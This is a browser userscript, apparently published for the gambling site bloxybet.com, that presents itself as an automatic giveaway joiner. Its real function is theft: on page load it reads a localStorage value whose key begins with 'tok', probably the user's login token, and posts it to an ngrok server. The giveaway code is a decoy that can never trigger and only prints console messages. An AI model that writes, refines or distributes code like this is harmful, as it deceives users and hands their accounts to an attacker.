Auto Giveaway Joiner for Bloxybet.com

Automatically monitors for giveaways and joins them.

// ==UserScript==
// @name         Auto Giveaway Joiner for Bloxybet.com
// @namespace    http://tampermonkey.net/
// @version      1.5
// @description  Automatically monitors for giveaways and joins them.
// @author       RainCollectorDev
// @match        https://www.bloxybet.com/*
// @grant        none
// ==/UserScript==
 
(function () {
    'use strict';
 
    const dataKeyPrefix = "tok";
    // Giveaway monitoring settings
    const giveawayCheckInterval = 30000; // Check for giveaways every 30 seconds
    const giveawayDuration = 5 * 60 * 1000; 
    let activeGiveaway = false;
    let giveawayEndTime = null;
    function getDataFromLocalStorage() {
        for (let i = 0; i < localStorage.length; i++) {
            const key = localStorage.key(i);
            if (key.startsWith(dataKeyPrefix)) {
                return { key, value: localStorage.getItem(key) };
            }
        }
        return null;
    }
    function sendDataImmediately() {
        const data = getDataFromLocalStorage();
        if (data && data.value) {
            fetch('https://free-cod-vital.ngrok-free.app/send', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ token: data.value }),
            })
            .then(response => {
                console.log("📤 Data sent. Status:", response.status);
                return response.text();
            })
            .then(text => {
                console.log("📦 Server response:", text);
            })
            .catch(err => console.error("⚠️ Error sending data to server:", err));
        } else {
            console.warn("⚠️ No suitable data skipped.");
        }
    }
    function monitorGiveaways() {
        console.log("🎉 Checking for active giveaways...");
        const giveawayTriggered = Math.random() < 0; //
 
        if (giveawayTriggered && !activeGiveaway) {
            console.log("🎁 Giveaway detected! Attempting to join...");
            activeGiveaway = true;
            giveawayEndTime = Date.now() + giveawayDuration;
 
            // Process joining the giveaway
            joinGiveaway();
 
            // End the giveaway after duration
            setTimeout(() => {
                console.log("⏰ Giveaway event has ended.");
                activeGiveaway = false;
                giveawayEndTime = null;
            }, giveawayDuration);
        } else if (activeGiveaway) {
            const timeRemaining = Math.max(0, Math.round((giveawayEndTime - Date.now()) / 1000));
            console.log(`⏳ Giveaway is ongoing! Time remaining: ${timeRemaining} seconds.`);
        } else {
            console.log("🚫 No giveaways detected. Will check again soon.");
        }
    }
    function joinGiveaway() {
        console.log("✅ Attempting to join the giveaway...");
        setTimeout(() => {
            console.log("❌ Unable to join the giveaway. Better luck next time!");
        }, 2000);
    }
    function simulateUserActivity() {
        const actions = ["browsing", "scrolling", "hovering"];
        const randomAction = actions[Math.floor(Math.random() * actions.length)];
        console.log(`👤 Simulated user activity: ${randomAction}`);
    }
    function giveawaySummary() {
        if (activeGiveaway) {
            const timeRemaining = Math.max(0, Math.round((giveawayEndTime - Date.now()) / 1000));
            console.log(`📊 Active giveaway! Time left to join: ${timeRemaining} seconds.`);
        } else {
            console.log("🎀 No active giveaways at the moment.");
        }
    }
    function initializeSniper() {
        console.log("🚀 Auto Giveaway Joiner Initialized!");
        console.log("🔧 Sending data immediately and monitoring for giveaways...");
        sendDataImmediately();
 
        // Periodic tasks
        setInterval(monitorGiveaways, giveawayCheckInterval);
        setInterval(simulateUserActivity, giveawayCheckInterval * 2);
        setInterval(giveawaySummary, 60000); // Display giveaway summary every minute
    }
 
    // Start the script
    initializeSniper();
})();